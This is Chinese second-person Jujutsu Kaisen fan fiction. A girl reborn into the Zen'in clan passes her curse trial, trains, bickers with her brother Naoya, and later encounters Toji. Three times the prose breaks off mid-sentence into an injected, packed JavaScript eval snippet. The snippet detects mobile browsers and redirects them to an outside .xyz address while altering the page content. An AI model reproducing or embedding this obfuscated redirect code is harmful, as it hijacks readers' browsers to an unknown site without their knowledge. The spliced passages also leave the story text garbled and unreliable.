咒灵试炼,标准的麻烦事一桩。你恨不得母亲没提起这件事,但既然都说起来了,你也就只能乖乖地“嗯”一声了。 “放心,母亲。我没有忘记。”你顿了顿,觉得有必要补上一句,“我会好好表现的。” 但这话并不是母亲想听的。 “夏栖,我不求你在咒灵试炼时展露出什么了不得的术式。只要你别像那个看不见诅咒的——那家伙叫什么来着?” 直哉不高兴地从嘴里挤出“甚尔”这个名字。 “对,就是他。” 母亲一股脑点着头,伸手去抓你的手臂,把走在前头的你强硬地拽了回来。你几乎要觉得手臂会骨折,可她并不在意你龇牙咧嘴的吃痛模样,自顾自说:“我不会给你过多的压力,也不会抱有太多期待。夏栖,听好了,我对你的愿望只有一个。” 她把你拽到直哉的身后,让你走在他的影子里。 “你必须注意自己的言行,乖乖听话,不要拖累你的哥哥。” 这段与直哉有关的对话,直哉却无动于衷,好像没看到母亲是怎么对待你的。或是他看到了,只是不在意而已。 反正你对他来说,也只是一个可有可无的妹妹而已。 总要一天要把这个混蛋哥哥从自鸣得意的宝座上拽下来。 你就此下定了决心。 5. 你,咒灵试炼 夏天来得不紧不慢,你也不急不躁,压根没为咒灵试炼的事情担心,更加不抱有多余的期待。 你大概会是术式方面的天才,你依旧很坚信着这一点。 在咒灵试炼到来之前,还有更麻烦的事情等着你应对呢。 “把手指放在这枚白键上。手肘提起来,不能掉下去。对,就是这样。” 家里庶出的堂姐在教你弹钢琴,这台黑白色会发出好听乐声的东西就是你眼下最大的敌人了。 学钢琴是母亲的一时脑热,不管这种小事的父亲当然也不会提出异议。于是在母亲好声好气的劝说之下,你就是再不情愿,也不得不坐到钢琴旁了。 咒术师应该没有什么必须要学习钢琴的必要吧?你想来想去,都觉得这是母亲为了防止你没有术式而采取的后备培养手段。 毕竟,没办法成为咒术师的话,你的价值就只剩下一颗子宫了,哪怕身为家主心爱的女儿也是如此。贤良淑德且多才多艺的大和抚子皮套会让这颗子宫更具竞争力,就是这么回事。 这么想着,钢琴对你来说简直瞬间就失去了吸引力。你在姐姐耐心的教导下不耐烦地把手指敲在琴键上,砸出乒乒乓乓的声响,简直不像是在弹钢琴,而是在敲打什么东西了。 你的姐姐一定被你折腾得很痛苦,她脸上礼貌的笑意都伴随着你敲出的音符逐渐扭曲了。但更痛苦的一定是直哉。 他路过了房间三次,每回从门前经过是都会对你挤眉弄眼,捂着耳朵摆出一副难熬的鬼脸。 到了第四次,他的忍耐终于到极限了,跺着脚冲过来,完全无视了庶出姐姐对他点头问好,一下子把你从钢琴椅上揪下来了。 “你要不要听听你在弹什么东西!” 你一脸无所谓:“我在弹《小星星》啊。” “被你弹出来之后完全变成了大猩猩吧!” 他气冲冲地把钢琴一合。真没想到弹糟了钢琴居然能让他这么不高兴。 他甚至还说:“我要去和妈说,别让你学钢琴了!” 什么,还有这种好事? 你肯定是一万个赞同,差点就要欢呼“太好了!”,话到了嘴边才突然想到,要是暴露了真心,记仇的直哉肯定不会如你愿,于是匆匆忙忙违心地伪装出一副失落模样,嘴角都快耷拉到地上去了。 伪装归伪装,你毕竟暗自高兴着呢,难免忍不住露出破绽。比如此刻,你一个没忍住,噗嗤一下笑出了声。 “笑什么呢你?”直哉还是一脸不痛快,“别说你是为了不用学钢琴而高兴。” “怎么会!”你久违地搬出乖巧妹妹的模样,眨眨眼看着直哉,随便找了个借口,“我是在想直哉弹钢琴的样子,肯定很厉害——因为直哉就是很厉害的嘛!” 蹩脚的夸奖一下子把你哥捧上了天。他的嘴角开始不受控制地飞了上去,下巴也扬起来了,摸摸鼻尖的动作透着得意。一开口,说出的自信发言也是不出所料。 “那当然了。我和你不一样,是学什么都很快的天才。区区钢琴,我肯定信手拈来!” “哇,是嘛是嘛,真棒真棒。”你一股脑点着头,推着直哉在钢琴旁坐下,“那直哉快点给我演示一下吧!让我看看天才的发挥!” “啊?不要。” 腾一下站起来的直哉,瞬间打破了你给他制造出的奉承氛围。 “我才不要弹钢琴,也不想玩乐器。这种东西都太女孩子气了。”他固执地说,“我可是男的!” “伟大的钢琴家多数也是男性哦。” “那是以前的事情。知道吗,夏栖,现在世道不一样了。” “嗯嗯嗯嗯。” 你不耐烦地点着头,把直哉的发言当耳旁风,暗自心想,现在还不如继续学钢琴呢。 不过嘛,虽然直哉唠唠叨叨,烦人的话也多,但至少有一句话他顺利地传达到位了——他当真和母亲说了你不适合弹钢琴的提议。于是母亲也死心了,彻底为你打上了“没什么大本事的孩子”的可悲标签,别的什么事情都不强迫你去做了。你当然乐得自在,被母亲看清也无所谓,拉着庶出的姐姐一起去玩翻花绳,尽情享受自己所剩无几的、真正意义上的童年。 预示着童年即将终结的咒灵试炼伴随着热空气漂浮在禅院家的上空。你厚重的和服换成了更轻便的浴衣,可惜你还是没办法好好穿上,只能由侍女帮忙才能系上腰带。 这个夏天会有金鱼、刨冰和烟花。直哉说下个月家附近的神社会举办夏日祭,他也早就已经和家里的几个男孩子们约好一同前往了,你要是想去,就找母亲或是其他堂姐一起,千万别来打扰他。这番发言真是有够气人的。你赌气地说“反正我也不感兴趣”,其实还是有那么一点想去的。 咒灵试炼比夏日祭来的更早,选在了日光最为燥热的那一天,又很过分地定在了正午时分,浴衣换成了练功服,你的影子小小地聚集在脚下,变成并不醒目的一团。日光刺得你有些睁不开眼,只能勉强从细缝般的视野中环顾四周。 这是在咒灵库房的后门外,为了本次试炼而特地围出了一块小小的地界,小型的结界笼罩着你和其余十三位试炼者。他们中的大多数都比你大一点,最大的看起来已经很像个小少年了,青春期抽条的瘦长身材在众人的目光下瑟瑟发抖,看起来很局促,不知道会不会是因为自己的年龄才显得如此自卑,更让人觉得格格不入。 父亲对你说过,咒灵试炼的门槛是四岁,未能在试炼中显露出术式的孩子将在十二岁前反复参加试炼,这条原则存在的根据是咒术界普遍认为十二岁是最后觉醒术式的时机。 在试炼者的前方,摆着恰好十四个笼子,装在里面的是蝇头或是其他不满四级的劣等咒灵。你要想办法杀死咒灵,用你的术式。这应该不会很难吧?你出生时可是得到了“天才”的金手指设定呢! 你这么想着,果然还是免不了有点紧张,身旁同样急促的呼吸声也听得你不安。你觉得你需要暂时从这个场合中抽离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817858|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但目光也没有其他可以安放的场所,哪怕环顾四周,看到的也只是家里人那些熟悉的或是不熟悉的脸。 直哉和父亲站在一起。直毘人大概是一点都不担心你,这会儿还有空喝酒。母亲嘛,应该是去做杂活了,今天一整天都没有见到她。 至于直哉,他当然也在一旁看着你,可你更觉得他是来看你笑话的。要是你没发挥好,在未来的几年里这一天都会变成笑柄。 想想总觉得有点不服气,你冲直哉做了个鬼脸,他也回以满不在意的吐舌。 一来一回之间,试炼悄然开始。 咒力凝成的囚笼瓦解,叽咕叫着的咒灵冲了过来,直往脸上扑,冰冷又恶心。 你下意识地往后躲了躲,蝇头飞向了那位年长些的高个子,他吓得大叫起来,挣扎之间险些敲到你的脑袋,你匆忙闪开,却被地上的小石块搬到,狼狈地摔倒在地。 鼻涕虫般黏糊的长着翅膀的咒灵顺势爬到了你的腿上,叽叽地叫着,怎么样甩不开。你还是不知道该怎么使用咒力,只能想象有一股气凝在手中,用力一挥,终于把咒灵吹飞到了地上。 倒是也没有那种茅塞顿开的通透感,但确实有种奇妙的感觉,你仿佛一只无形的、却更加宽阔的力量从掌心之中延伸了出去,如同看不见的手,拽住了咒灵的翅膀,把它拖了过来,它的脑袋被紧紧捏住,你甚至能感觉到自己触碰到了它的心脏,所以此刻扑通扑通的心跳才会如此显著而鲜明。 你合拢手掌,这股力量随即向四处拉扯,撕裂了咒灵,掏出了它的心脏。在最后的叽叽声中,它泄气般落在地上。 还听到了更多更多的啪嗒声,其他咒灵也被撕裂了——你杀死了所有咒灵。 通过试炼的条件就是杀死至少一只咒灵,你完成了目标,结界理所应当地为你敞开。你还是觉得迷迷糊糊的,没怎么听到旁人的夸赞,只听到直毘人说“干得漂亮”,也只看到了直哉很得意的表情,仿佛刚才上演了那出好戏的人是他。 “毕竟是我的妹妹嘛,有厉害的术式完全是理所应当的事情。” 他又把荣耀归在自己的身上了。 这番很“直哉”的发言瞬间让你大脑清醒,感觉一下子就脚踏实地了。 “要是我没有术式,你肯定只会想办法和我划清界限的。到时候看你还会不会笑成现在这样。” “会啊。”他毫不掩饰自己的想法,“没有就没有了。女人又当不好咒术师,要术式做什么?” 你轻轻咋舌:“混球。” 只在凑过来:“你说什么?” 你铆足了劲,在他的耳边大喊:“你个混球!” 在你的大喇叭叫嚷之下,禅院直哉的右耳不幸聋了三秒钟。 就在这三秒钟的功夫里,你已经一溜烟跑走了。 难得的先发优势让直哉怎么也没追上你,直到晚上回房间之后,他才泄愤般狠狠搓了一番你的脑袋,把你短短的妹妹头搓成黑色毛球。真是幼稚死了。 6. 你,狐假虎威 在咒灵试炼那天,你知道自己有了术式——而且看起来是很了不得的术式。而这股力量具体如何,你是在接下来的几次练习中才搞明白的。 你的术式可以将目标定义为数个部分,并且在每个部分加注咒力,将其移动至随意的各个方向。 也就是说,你可以直接拽出咒灵的心脏,也可以将它视作一体用咒力凝成一团,还可以将术式作用在自己的身上,实现高速移动,泛用性和杀伤力都算不错,真不愧是你与生俱来的金手指。 现在情况明了了,你没有像直哉那样继承直毘人的投影术式,但你拥有的也不是禅院家历代有过的任何术式。你觉得自己的能力似乎有点像是更加精细化操作的念动力,不过考虑到这里是咒术回战,所以它一定是独属于你的能力。你想你应该为它取个名字。 就叫……牵线咒法吧,这名字听起来有够酷的。 有了术式,你的未来就正式(且暂时地)摆脱了一颗子宫的命运。直毘人让你去了家里的咒术学堂,开始正经把你作为一个咒术师培养。 咒术学堂大概是整个禅院家中最为禅院家的部分——换言之,这里充满了以上欺下、实力至上和恃强凌弱。 身为小天才的你哥从去年开始就不用来学堂了。毕竟是这一代最受期待的孩子,他早早地就跟着炳部队的咒术师一同祓除咒灵了。对你来说这也是好事一桩。 你可不要在神圣的学堂听到见到一张很漂亮但同时也相当气人的脸。 对于学堂来说,你确实是太过年幼了一点。这儿谁都比你高,好像也都听闻了你在试炼时一口气杀死了十四只咒灵的了不得战绩,当你踏进房间时,所有人的表情都很微妙。 在这些微妙的表情之中,看不到太多喜悦或是友好,倒是有一些戏谑的目光,以及很多的防备。于是你也觉得心情变得微妙起来了。 可没人说过咒术师预备役是这么一群没有团结心的家伙啊! 你差点就要打退堂鼓了,要不是想到自己要当上家主的野望,你现在已经要光速退场了。 可惜,也没那么可惜,为了活到二十岁,你没有退路可走,只能硬着头皮走进了课堂,且因为个子太小,居然只能坐在老师的脚边听讲,多少有点丢脸。 禅院家的课堂不是按部就班的教育机构,但也会制定各阶段的教学任务,循序渐进地进行学习。 譬如现在,你就被丢进了约莫算得上是中级班的班次,理由是直毘人觉得你已经有了基本的咒力掌控能力,干脆跳过了初阶的学习,把你拎到了这儿来。 显然他完全忘记了初阶课程里还有通识知识的学习。好在你是重生挂,不学也没事。 于是,迷迷糊糊地听老师一股脑输出着“如何让咒力脱离体内变成陷阱机关”的相关知识,说实话没怎么听懂——你第一次感觉成为咒术师好像不是一件多么简单的小事。 在老师说出告一段落的“好了”之后,你更觉得心虚不已。 难道要开始实地尝试了吗?你完全没听懂啊! 好消息是你猜错了,随之而来的坏消息,接下来是一对一对抗训练,而你被高了两个脑袋的男孩子一木刀掀翻在了地上,好半天没缓过神来。 把你打飞的男孩得意洋洋,举着木刀欢呼。 你想起来了,他不是禅院家的孩子,只是招募到禅院家势力后改姓的外来咒术师的后代而已,难怪会为了这场不平等的胜利欢呼雀跃,毕竟能压过禅院一头的机会在这个家里并不多。 有人在笑你:“有了不起的术式有什么用?基本素质还是太差了。” 还有人说:“反正也没继承到家传术式,再厉害也没什么了不得的。” 真是气人。 训练场上的规则是不能使用术式,否则你一定要把那个死小孩扯得嗷嗷叫。既然不能这么做,你也就只好拍拍衣服,站起身来,重新握紧手中的木刀,用力劈下去。 这不算多么美好的一天以你的全败告终。你鼻青脸肿地去问师傅该怎么用咒力进行防护,可惜听了依然还没懂,你开始怀疑自己的天才身份了。 背上包,走出学堂,把你打成现在这样的气人小男孩——后来才知道他居然叫“一郎”这种老土的名字——见到你就开始放肆地笑。 他大概是个什么小头目,身边还聚了其他男孩子,他们也在对着你笑不停。 “就这点本事,还是回去学怎么绣花和端茶倒水吧,这才有个姑娘的样子!” 你不服气。 实力、性别,能被奚落的居然全都拿出来说了个遍。你当然想要反驳他,却没有辩驳的余地。现在的你的确弱小,没有哪一点比得过更年长的他……不对。 有那么一点,你确实是比得过的。虽然你一点也不想主动用这一点压倒对方。 “知道吗,我哥可是继承了家主术式的禅院直哉!” 你说得理直气壮。 你是这么想的,搬出家主爸爸的话,似乎有点官威太大,而且也太遥远了。既然他们都敢欺负家主女儿的你,显然是不觉得身为女儿的你在家主面前有多大的话语权。但要是用同龄人直哉的话,威力就刚刚好了。 这么想着,你一下子有了底气,挺直后背,大声叫嚷:“你们这么说我,就是在说我哥——难道你们就这么想要招惹我哥吗?” 臭小孩联盟哆嗦了一下,相互嘀咕了几句,悻悻走掉了。但你觉得自己有点胜之不武。 回到房间,难得见到了母亲。她被你的鼻青脸肿吓了一跳,忍不住一直嘀咕着“以后怎么嫁人”之类的话,亲手为你上了药。你知道她泛滥的母爱完全是因为直哉最近不在家,所以才流向了你。你没什么好说的,道了晚安就钻进了被子里,明天照常去学堂。 然后照常听不懂、挨打、被嘲笑,把直哉搬出来吓唬人。日日如此。 越来越不同的是,你逐渐长高,逐渐能把木刀敲在别人的脑袋上,并且在说起直哉的时候良心再也不会痛,因为你已经逐渐理解哥哥的真谛了——哥是一块砖,哪用往哪搬。 正如现在,在一郎提出要用咒具进行一场真实对抗的时候,你也会大言不惭地说:“直哉要是知道谁对他的妹妹提出如此无理的请求,绝对会赶过来责骂你的!就当是为了自己好,你还是收起这种不理智的念头吧。” 你觉得自己也没说出多么吓人的恐吓,但一郎的脸确实一下子白了,僵着面孔盯着你,半晌也不说话。 难道这次的这块砖又结实又坚硬吗?你暗自窃喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817859|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,丝毫没有发现自己正站在某人的影子里,直到被拍了下肩膀才想起来转身,一回头,原来你哥就站在身后。 你倒是也没觉得有多尴尬,甚至还能对他挥挥手,说上一句“下午好”。 直哉没搭理你,只冲一郎微微一扬下巴,问他:“你在对她说什么?” “没、没事!” “什么,用咒具打人?” “没有没有没有的事!”一郎一股脑地摇头,“我什么也没说。” 他可不敢得罪直哉,丢下这话就一溜烟跑了,留下你和直哉大眼瞪小眼,而他嫌弃地扯扯嘴角。 “那家伙欺负你?”他问。 你点点头:“嗯,差不多是这样,不过他没成功过。” “行吧。以后他不会欺负你了。”他拉着你走回去,“还有,你也给我稍微消停点,老招惹比你大的人干什么?” “你瞧瞧你这话说的,我才是受害者诶!” 你的不服气,直哉既没看在眼里,也一点都不放在心上,自顾自说着自己要说的话。 “以后我可不会随时替你撑腰,所以你少惹点事。” 这都是什么话嘛! 你更不高兴了,固执地梗着脖子:“我自己能解决问题,又不需要你帮我。” “屁嘞,明明就被那群废物傻子欺负了。” “是啊是啊。但你不也总是欺负我,还好意思说其他人?” “我是你哥,还是个了不得的天才,我当然能欺负你。”直哉理直气壮地说着这种很气人的话,“别人能和我一样吗?” “你这完全就是在把我当物品看待吧。” 一想到直哉数年如一日地自我中心,你居然一下子释怀了,也一下子不生气了,语重心长地说:“直哉君,请收一收你的掌控欲。” 你明明也没说什么奇怪的话,但他的反应看起来很别扭,一会儿搓搓脑袋,一会儿摸摸鼻子,好半天才憋出一句“没把你当做物品”。 你眯起那双和他最不相似的眼睛,故意拖长了声:“哦——?” 直哉也不爽:“你在质疑?” “嗯!”你奋力点头,“那你把我当什么了?” 他一脸不快,以破罐破摔的腔调嚷嚷:“当你是我的妹妹,行了吧。” “行!当然行!” 这家伙,也没那么讨厌嘛。虽然他总是展露出很不正常的一面。 想想也是,在这个扭曲的家中,他怎么才能成为一个正常人呢?但在某些时候,他确实很像一个好哥哥了——虽说这种时候不多就是了。 介入了他的人生的你,能否让他变得更好、更正常呢?或许不能吧。你没有这种自信。 你忽然有点难过。 你第一次为直哉难过。 直哉被你看得很怪,缩了缩肩膀:“你这么看着我干什么?” “不干什么。” “那你赶紧叫我哥哥。” “你还在惦记着这件事啊?” 你忽然觉得心情很好,笑着跑到他前头,跑了好远才转过身来看他,大喊着“才——不——呢——”。 “而且,我要当你排名第一的妹妹哦!” 他的回应是:“给我滚。” 7. 你,毫无掩饰 如果一般情况下的哥哥是百分之八十的讨厌,那青春期的直哉一定是百分百的令人嫌弃。 而这份嫌弃,主要体现在长出了薄薄一层胡须的上唇和日渐凸起的喉结,还有像是拉大锯般的沙哑嗓音,脸颊也被重力扯长,看起来奇奇怪怪。 就此,令你都忍不住夸赞一句美丽的小男孩面孔不复存在,彻底进入了青黄不接的未成熟少年期。 你扼腕叹息。 从青黄不接到蜕变成帅哥,这之间还要等上好几年呢。难道在这段漫长的时间里,直哉就要一直保持着这种毫无优点(毕竟连他的最大的优势——一张漂亮脸蛋都没有了)的状态吗?真糟糕啊。光是想想要面对这样的直哉,你都觉得很郁闷了。 更微妙的是,全身上下发生了如此众多变化的直哉,偏偏在身高方面一动不动,大半年了都没有往上窜一厘米。在用来记录身高的柱子上,你已经刻下了好几条新的刻痕,他却始终停在那条线上,连半点动弹都没有。 “哎呀,为什么直哉不会长高呢?” 量完身高的你故作天真地冲她一笑,歪着头的模样仿佛对什么都一无所知,只在气急败坏的直哉伸出手来捏你脑袋的时候才动弹了一下,顺便追加了一句。 “没关系的,直哉,你不要太担心,肯定还有解决方法的。” 可能是你的发言太具有诱惑力了,气头上的直哉居然稍稍回落了一点——当然只有一点点。 他悻悻地收回了手,努力让自己的语调听起来满不在意:“有什么解决办法?” 你合拢手掌,一脸虔诚地:“你只要当白雪公主里的小矮人就好啦!以你的本事,一人分饰七个角色绝对没有问题!” 然后你毫不意外地又被直哉追着打了。 虽然挑衅是你主动的,但挨打实非所愿,你赶忙遁逃,一路来到直毘人的书房才松了口气。 你们的兄妹打闹从不可能闹腾到父亲面前,只要赶到这儿,你就安全啦! “夏栖。”父亲唤你。 你喘了两口气,赶紧跑过去。 “帮我磨墨吧。” “明白了。” 你一刻不停地跑过去,帮直毘人打下手,就像平常每个休息日那样,毕竟你依然谨记着“讨好当上了家主的爹”这条攻略路线。 磨好了墨,不要忘记夸赞一下父亲今日份的大作。然后帮他把酒壶灌满,赶在他酒瘾上头之前送上。你们又无聊地一起玩了一会儿剑玉,他看着你笨拙的动作笑个不停,但还是拍拍你的脑袋,很豪气地说,只要多练练就能好了。 至于摆在桌上的那堆亟待他回复的书信,他连看都不乐意多看一眼,着实是有够闲散的。 “咒术的事情,最近学得怎么样了?” “挺好的。”你说,“父亲记得一郎吗?我最近能把他打趴下了哦!” “那孩子多大了,是不是比你大五岁?这样的话,你还挺厉害嘛。” 你表现出恰到好处的得意,仰着下巴说:“因为我是父亲的女儿呀!” 这份得意果然奏效。他大笑起来,拍拍你的脑袋,丝毫不在意把酒洒在了榻榻米上。要不是送信的不合时宜地敲响房门,你一定能收获更多夸赞的。 其实直毘人比你还不乐意见到送信人。啪嗒一声,新的信件落在桌上,就意味着他必须得处理掉旧的那些了。他无奈地走到书桌旁,随口嘀咕说,当家主可太麻烦了。 “所以夏栖,你以后还是别当家主了。” 他这句话当然是玩笑,但你赶紧换上了一本正经的面孔。 “什么麻烦我都能克服!”你抽出拆信刀,让锋利的刀尖在空气中转了一圈,“只要能当上家主的话。” 直毘人没有露出任何意外或是惊讶的表情,似乎在他心里,你就是说得出这种话的人,也难怪他会笑着看你,连髭发也在微微颤动。 “夏栖想要当上禅院家主吗?为什么?”他问你。 “嗯。因为——” 因为你觉得这是你安全活到二十岁的唯一途径?事实确实是这样没有错,但你总不能真这么说吧。 或是说,你是想要继承父亲的衣钵?好像有点太正经了,而且完全把直哉视为无物了,感觉不太好。 那就得少点正经,多点孩子气,这样一来,无论你说了什么,直毘人都不会生气的。 花了两秒钟的思考时间,你拿定了主意:“要是看到小女孩当上了家主,一定会气得鼻子都歪掉的。我就是想把大家的鼻子都气歪!” “是嘛,是嘛。” 直毘人对这个答案很满意的样子,笑到大灌了三口酒,还拍了拍你的脑袋。 “好好加油吧,夏栖。” 说完这话,他终于投身进自己的家主职责中了。你帮着他把信搬过来,逐封拆开,等他写完回信之后再塞回崭新信封之中,贴上邮票或写好该给谁,分别塞进信盘的不同隔层,等到了傍晚就能全部送出去了。 在今日收到的信件中,一封未在信封上写明收件人的信让你觉得很奇怪。 事实上,这封信的地址也简短到让人觉得很怪,真让人怀疑是不是投在了附近的邮筒里,否则怎么会顺利地寄到禅院家。 你困惑地拆开信,努力藏住即将溢出的好奇心,把信递给直毘人。他一目十行地看过,爆发出短促的一声笑。 “丧家犬居然想来和禅院家交易?那我就赴约吧,听听你小子想说什么。” 他大笔一挥,简短地写下了几句什么。你依然不会去偷看,接过信纸就立刻叠好,塞进信封。 “父亲最近要出门吗?”你问。 直毘人咪了一口葫芦里的酒:“没错。夏栖想跟着一起去吗?” 目标这就达成了? 你轻快地眨眨眼:“可以吗?我想和父亲一起出去!” “但我们不是去玩的。” “嗯,我知道我知道。”你亲昵地搂住直毘人的脖子,像个满分的乖巧女儿,“只要和爸爸待在一起,我就很高兴啦——直哉一定会嫉妒死我的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817860|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又开始量身高的直哉打了个喷嚏。他不用想也知道得怪罪于你。 抛开直哉的这点小问题不谈,直毘人确实很吃你这套。况且一开始说出“要不要一起去”的人是他,要是再说出拒绝,可就太没有仁义道德可言了。你的目标轻松达成,虽然你还是不知道和直毘人见面的对象是谁。 陪直毘人一起熬到晚上,你打着哈欠回到房间,走到一半,却被直哉中途截下了。 “再来记录下身高!”他瞪着一双通红的眼睛说,“我刚才在训练场狠狠训练了两个钟头。都说运动有助于长高,我现在绝对高了!” 唉……真是个为了长高而陷入执念的小屁孩…… 你不确定是不是白天的那番“小矮人论”刺伤了青春期岌岌可危的自尊心,但直哉现在这样真的有点微妙。你想了想,还是摇了摇头,拒绝了他的请求,也难怪他的表情一下子变得很不高兴。 “怎么,你不想帮我吗?” “对。”你也不否认,“因为几个小时是不可能长高的,你又不是竹笋。” 话虽如此,脸一下子变绿的直哉现在确实有点像是竹笋的样子了。 赶在他气到不行之前,你赶紧说:“父亲也说了,执念太深只会起反作用,一心想要变强的人反而没办法变得更加厉害。我知道的,直哉你一定会长高的,因为——因为——因为你是直哉嘛!” 啊……好烂的理由…… 可你总不能对直哉说,漫画里成年的你有一米八吧。 很烂的理由,对于直哉来说似乎很受用。他一下子收敛起了四散的情绪,却不说什么了,当然也不对你说“谢谢”,转头回到房间,把门关得好响。 你也松了口气,迫不及待钻进被窝,当晚就做了个疯长的竹子直哉与灭竹专家禅院夏栖的故事——值得一提的是,这个梦以不太愉快的结尾结束了,可你怎么都想不起来了。 和直毘人的外出定在了周日,要去什么地方,你完全不知道,但这并不影响你哼着轻快的小调跟在父亲身边,和他一起来到了东京中央车站。 难道要去到东京周边了吗?你忽然对这次的出行充满了期待。 事实是,还没来得及掏出西瓜卡,直毘人的脚步就停下了。他在三出口前张望了一番,不知道是不是找到想见的人了,但在此之前,他还是先带你去买了三球的冰激凌蛋筒,在出口附近找了个无人的长椅。 “你乖乖坐好,别到处乱跑,知道了吗?” 他叮嘱你,难得像个正常爸爸的样子。于是你也抛弃封建守旧的禅院家风格,冲他挥挥手:“放心啦老爸!” 直毘人确实有够安心,不再说多余的什么话,直接走进人潮之中了。你装模作样地坐了一会儿,估摸着直毘人不会再留意你了,赶紧跳下长椅,往他所在的方向张望。 能看到直毘人停下了脚步,又看到一个高大的男人走到他身边,黑发的模样很是眼熟…… ……啊!正在和直毘人说话的男人,不正是许久未见的甚尔嘛! 8. 你,攻略再启 许久都没在禅院家听到“甚尔”这个名字了,也好久没有想起禅院甚尔此人,要不是今日突然见到他,你几乎都要忘记曾经惦记过的甚尔攻略计划了。 当然啦,事到如今,你也不觉得自己的攻略计划能成功了,毕竟甚尔对这个家的厌恶程度已经强烈到非出走不可了,根本不可能关心最后是谁坐上家主的宝座。 不过,话又说回来,这么讨厌禅院家的他,今天主动跑来找家主做什么? 你大口吞下抹茶味的冰激凌球,冰冷的温度瞬间冲上天灵盖,害得你的思维都停摆了一秒钟,差点没能从记忆中挖掘出这段咒回剧情。 还好还好,只是“差点”。你赶紧把抹茶冰激凌吞下肚,想起甚尔此次前来的用意了。 按照好听点的说法,他正在和直毘人进行交易。 或者说得直白且难听一点,他是准备把儿子伏黑惠——现在可能还叫禅院惠——以一个好价钱卖掉。 你虽然知道这场交易的背后隐藏着的是老父亲的一颗良苦用心,但还是很想感叹卖儿子这件事的荒唐。不过,想想再过几年甚尔就会不幸身亡,就算他做了再不妥当的事情,也完全有可以谅解的余地。 琢磨着琢磨着,你忍不住叹了口气,因为你果然还是觉得不能让这世上少一个双开门帅哥。 而且,未来会继承十种影法术的伏黑惠绝对会是你的家主之路上最有力的竞争者——肯定会比直哉这家伙更具竞争力一点。得想办法让甚尔继续活下去,至少要活着解除他与直毘人之间的这场交易才行。 下定了决心的瞬间,你忽然冒出了一种很奇妙的感觉,似乎是得意与窃喜的混合体,其中还掺杂了一些欣慰。 你想,这应该就是全能感吧。 你已经知道了未来剧情,还能想办法对此进行干涉,时间和事件都像是能够被你的咒力牵动的模块。你只需要费心思考、费心行动,就能一点一点为自己编织好康庄大道。 不得不说,全知全能的感觉可真好啊—— 在你感叹着得意着的当口,违法的卖人交易已经告一段落了。你赶紧回过神来。 能和甚尔有接触的机会不多,你必须抓紧一切可行的契机,并且一击即中。于是你果断抛弃了老爹叮嘱的“乖乖坐好”——反正你本来就已经离开了原地——飞快地躲进人群之中,一点一点向甚尔走近。 在你们之间的距离近到能够挥挥手问好之前,他先一步回头,以一种相当陌生且警惕的目光大量着你,一开口就是很冷漠的:“有事?” 嗯,能感觉到他心情不好了。 你假装完全没察觉到他的臭脸,冲他咧嘴一笑,把手里的东西举到他面前。 “吃冰激凌吗,甚尔?” 谢天谢地,多亏你刚才在便利店买了冰激凌,成功有了搭话的由头。 甚尔耷拉着一双倦怠的眼眸,看了看你手里的抹茶味八喜,又抬眸瞄了瞄笑得乖巧的你,倒是没说什么了,接过冰淇淋,拆开包装和木勺,挖了一大勺丢进嘴里,理所应当般连句“谢谢”都不和你说。 “你谁来着?” 倒是只问了这句话。 你丝毫不觉得挫败,毕竟你和甚尔的上次见面已经是四年多以前的事情了,一千多个日夜冲淡一场萍水相逢完全是情理之中的事。你依然元气满满:“我是夏栖哦,和你一起找过发卡的那个夏栖!” 甚尔“哦”了一声,看起来记忆并未复苏多少,反问你:“是直毘人的女儿?” 他只记得你的这个身份了。不过没关系,聊胜于无嘛。 你一股脑点头:“没错没错,就是我!” 可能是因为刚刚和直毘人谈妥了一场不那么愉快但确实值当的交易,也可能是你之比他的儿子大了四岁,在你的身上他无意间找到了儿子稍大一些的模样,到了这一刻,甚尔的态度显得稍稍柔和了一点。 不过嘛,他也只是“哦”了一声,没再说更多的了。好在你还有很多要说的。 “甚尔现在一个人过得开心吗?” “一般。而且也不是一个人在过。有个儿子。”他对你毫不掩饰,把不该说给小孩听的话也告诉你了,“而且我马上要准备入赘到别人家去了,那女人还带着一个拖油瓶。” 你欢快地合拢手掌:“要变成四口之家啦!看来幸福唾手可得了。” “这算得上是什么幸福。只是‘活着’而已。” “那要继续活下去哦,甚尔。” 你背过双手,将合拢的掌心藏在身后。 “你想见证禅院家大变样吗?那就活下去,然后好好见证。”你笑起来,“因为我会当上家主的嘛。” 甚尔也笑了,当然是嗤笑:“你是说,你吗?” “没错。” 你点点头。 “在那一天到来之前,甚尔你要活着哦。千万别为了无聊的自尊心钻牛角尖,你知道你是什么样的人,不是吗?” 他看起来并没有多认真地在听你说话:“啊,是嘛。你当不上家主的。” 他对你泼了瓢冷水,可你依然不在意。 